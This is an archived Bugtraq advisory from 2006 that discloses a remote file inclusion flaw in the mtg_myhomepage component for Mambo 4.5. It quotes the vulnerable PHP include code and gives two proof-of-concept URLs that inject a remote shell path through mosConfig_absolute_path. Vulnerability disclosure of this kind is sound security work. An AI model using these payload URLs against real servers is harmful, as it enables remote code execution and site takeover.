Bugtraq mailing list archives
mtg_myhomepage Component For Mambo R.F.I
From: Outlaw () aria-security net
Date: 18 Aug 2006 04:29:43 -0000
########################################################################################### # Aria-Security.net Advisory # # Discovered by: O.U.T.L.A.W # # < www.Aria-security.net > # # Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp # # # ########################################################################################### #Software: mtg_myhomepage Component For Mambo 4.5 #Vendor : http://www.kamgaing.com/ #Attack method: Remote File Inclusion #Source: if (file_exists ($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php')) include_once ($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php'); else include_once ($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/english.php'); if ($mosConfig_mbf_content) $iso_client_lang = MambelFish::discoverLanguage( $database ); else $iso_client_lang = _LMTG_PRIMARY_LANG; ************************************************************************************ #Proof of Concept: #install.lmtg_homepage.php?mosConfig_absolute_path= SHELL #mtg_homepage.php?mosConfig_absolute_path= SHELL # #---------------------------------------------------------- # # #Contact : Outlaw () aria-security net
Current thread:
- mtg_myhomepage Component For Mambo R.F.I Outlaw (Aug 18)
- Re: mtg_myhomepage Component For Mambo R.F.I Carsten Eilers (Aug 22)